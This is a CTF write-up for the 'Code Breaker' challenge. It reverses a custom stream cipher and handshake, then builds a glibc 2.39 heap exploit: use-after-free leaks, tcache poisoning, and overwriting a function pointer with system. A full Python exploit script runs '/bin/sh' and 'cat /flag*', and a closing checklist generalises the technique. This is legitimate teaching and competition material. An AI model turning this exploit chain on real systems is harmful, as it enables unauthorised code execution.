$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: networked glibc 2.39 key-value store behind a custom SBOX+counter stream cipher; a LINK/DELETE refcount-confusion bug yields UAF and double-free. Solution: reverse the cipher and KDF to build a client, leak PIE via a .data echo, heap via safe-linked tcache fd, libc via unsorted bin, then tcache-poison the .data function pointer to system and trigger the EXEC opcode for a shell.
CodeBreaker: enterprise-grade encrypted key-value storage. All traffic is encrypted with our proprietary cipher.
Files: code_breaker (x86-64 PIE, stripped; Canary, NX, PIE, Partial RELRO, FORTIFY, IBT/SHSTK), libc.so.6 (glibc 2.39-0ubuntu8.3), ld, plus a remote nc service. Goal: get code execution and read the flag. All traffic is wrapped in a custom stream cipher, so the first task is to reproduce the protocol before any heap work.
.rodata (binary offset 0x2040).ks[i] = SBOX[(counter + i + KEY[i & 0xf]) & 0xff], and ciphertext = plaintext XOR ks. Send and receive each have their own counter; each counter advances by the message length and both reset to 0 immediately after the handshake. KEY is the 16-byte session key.Server sends an unencrypted frame [0x01 || nonce(16 from /dev/urandom)].
Client replies unencrypted [0x02 || C(16, client-chosen)].
Both sides derive KEY[16] from buf32 = nonce || C with a 4-round mix:
key init 0
for r in 0..3:
for j in 0..15:
t = buf32[(8*r + j) & 0x1f]
t ^= key[j]
t = SBOX[t]
t ^= buf32[(3*r + j) & 0x1f]
t = rol8(t, 3)
key[j] = t
Counters reset to 0.
Client sends encrypted proof [0x03 || V(16)] where V[i] = SBOX[key[i]] ^ key[(i+5) & 0xf].
Server replies encrypted [0x04 0x00] on success.
Because the server nonce is sent in cleartext and the client chooses C itself, the client can reproduce the same key and speak the protocol. This is a deterministic KDF, not real crypto.
Decrypted message layout: byte0 = opcode, byte1 = idx/arg, byte2+ = data. There is a 16-slot table; each slot is 16 bytes: {ptr:u64, size:u16 @+8, refcount:u16 @+0xa}.
| Op | Name | Behavior |
|---|---|---|
0x10 | CREATE | malloc(size), copy data; size 1..0x400; refcount=1. |
0x11 | GET | Returns the entry's data — works on freed chunks (UAF read / leak). |
0x12 | WRITE | memcpy(entry.ptr, data, off) with off <= entry.size — in-place overwrite, including freed chunks. |
0x13 | DELETE | free(entry.ptr); refcount--; ptr cleared only when refcount hits 0. |
0x14 | LINK | dst aliases src's ptr/size; dst.refcount=1, src.refcount++. |
0x15 | EXEC | memcpy(stack, data), null-terminate, CALL the function pointer at binary_base + 0x40c0 with the buffer as argument. Default is a no-op ret stub — this is the win primitive. |
0x16 | HELP | Banner echo that memcpys .data starting at 0x40c0 into the response, leaking the fnptr = binary_base + 0x1390 (clean PIE leak). |
create(0, big); link(1, 0); delete(0)
Chunk P is freed, but both slot 0 and slot 1 still hold ptr = P because refcount never reached 0. GET on the surviving alias leaks the freed chunk (safe-linked tcache fd → heap base); WRITE on it corrupts the tcache "next" pointer → tcache poisoning.
Full exploit chain:
0x16 HELP echoes .data@0x40c0; the first qword is binary_base + 0x1390, giving the PIE base directly.GET of a freed chunk yields the safe-linked fd = heap >> 12, so heap = fd << 12.0x410 tcache (7 frees), then free an 8th same-size chunk into the unsorted bin and GET it through an alias to read a main_arena pointer; libc = ptr - 0x203b20 (glibc 2.39). The max CREATE size 0x400 → chunk 0x410, the largest usable tcache/unsorted class.WRITE) to point at binary_base + 0x40c0. Critically, poison the HEAD chunk of the tcache bin (not the tail) so the bin count stays > 0 and the next malloc actually serves the poisoned target. 0x40c0 is 16-byte aligned, passing the 2.39 alignment check. Remember to mangle the pointer with next ^ (chunk_addr >> 12) for safe-linking.0x40c0 and CREATE-write libc system into the function pointer.0x15 EXEC with /bin/sh (or a cat-the-flag command) → system(...). Command stdout goes straight to the socket (the service runs behind socat-EXEC), so read the raw bytes before the encrypted echo.#!/usr/bin/env python3 # Code Breaker - sunshinectf2026 - glibc 2.39 heap exploit # UAF/double-free via LINK+DELETE refcount confusion -> tcache poison -> # overwrite fnptr at binary_base+0x40c0 with libc system -> op0x15 system("/bin/sh"). # # Requires client.py implementing the SBOX+counter stream cipher, the 4-round KDF # handshake, and helpers create/get/write/delete/link/send_enc (see Analysis). import sys, struct from client import CB HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 26005 # libc 2.39-0ubuntu8.3 offsets SYSTEM_OFF = 0x58740 UNSORTED_OFF = 0x203b20 # (leaked unsorted-bin head) - libc_base [verified vs /proc maps] FNPTR_OFF = 0x40c0 # binary_base + 0x40c0 : fn pointer called by op0x15 STUB_OFF = 0x1390 # default value of that fn pointer (ret stub in PIE) def u64(b): return int.from_bytes(b.ljust(8, b'\x00')[:8], 'little') def pwn(): c = CB(HOST, PORT) assert c.handshake()[:2] == b'\x04\x00', 'handshake failed' print('[+] handshake ok') # (1) PIE leak: helpb copies .data starting at 0x40c0; first qword = fnptr. h = c.helpb()[2:] pie = u64(h[0:8]) - STUB_OFF fnptr = pie + FNPTR_OFF print('[+] PIE base :', hex(pie)) # (2) HEAP leak: UAF safe-linked tcache fd of a lone freed chunk. c.create(0, b'A' * 0x100) c.link(1, 0) c.delete(0) # free P; slots 0 & 1 still reference it (rc > 0) heap = u64(c.get(0)[4:][0:8]) << 12 print('[+] heap base:', hex(heap)) # (3) LIBC leak: fill 0x410 tcache (7), free 8th into unsorted bin. S = 0x400 # -> chunk size 0x410 for i in range(2, 11): # slots 2..10 (9 chunks) c.create(i, b'B' * S) for i in range(2, 9): # 7 frees -> tcache[0x410] full c.delete(i) c.link(11, 9) # alias slot 11 <- slot 9 c.delete(9) # free into unsorted; slot 10 guards top libc = u64(c.get(11)[4:][0:8]) - UNSORTED_OFF system = libc + SYSTEM_OFF print('[+] libc base:', hex(libc)) print('[+] system :', hex(system)) print('[+] fnptr tgt:', hex(fnptr)) # (4) TCACHE POISON to fnptr, then CREATE writes `system` there. SC = 0x30 # size class -> chunk 0x40 (fresh, unused) c.create(12, b'C' * SC) # chunk A c.create(13, b'D' * SC) # chunk B c.link(14, 12); c.delete(12) # free A -> tcache[0x40]: A (count 1); A.fd = key key = u64(c.get(14)[4:][0:8]) # = A >> 12 (page key, same for adjacent B) c.link(15, 13); c.delete(13) # free B -> tcache[0x40]: B(head) -> A (count 2) # poison the HEAD (B) so the 2nd malloc from this bin returns fnptr; # mangle with safe-linking key. c.write(15, struct.pack('<Q', fnptr ^ key)) print('[+] poisoned tcache head -> fnptr') c.create(2, b'E' * SC) # malloc#1 -> B c.create(3, struct.pack('<Q', system) + b'\x00' * (SC - 8)) # malloc#2 -> fnptr; write system @0x40c0 print('[+] wrote system @ 0x40c0') # (5) trigger: op0x15 calls system(stack_buf) with our string. # system stdout/stderr = the socat-EXEC socket (raw, unencrypted). payload = b'cat /flag* /app/flag* flag* 2>/dev/null; echo; id\x00' c.send_enc(bytes([0x15]) + payload) # (6) read raw command output from the socket (not recv_enc). c.s.settimeout(3) buf = b'' try: while True: d = c.s.recv(4096) if not d: break buf += d except Exception: pass print('[*] raw output:') sys.stdout.buffer.write(buf + b'\n') # The flag (format sun{...}) appears in cleartext in `buf`. return buf if __name__ == '__main__': pwn()
Use this technique when:
ld/libc before touching the heap.heap = fd << 12); the max allocation size maps to the largest tcache/unsorted class for a libc leak (unsorted-bin main_arena pointer, libc = ptr - 0x203b20 on glibc 2.39)..data (Partial RELRO) — tcache-poison an allocation onto that pointer, write system, and trigger with /bin/sh.addr >> 12), double-free key check, 16-byte alignment check on poisoned targets, and the bin count must stay > 0 to serve a poisoned entry — so poison the HEAD chunk, not the tail.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar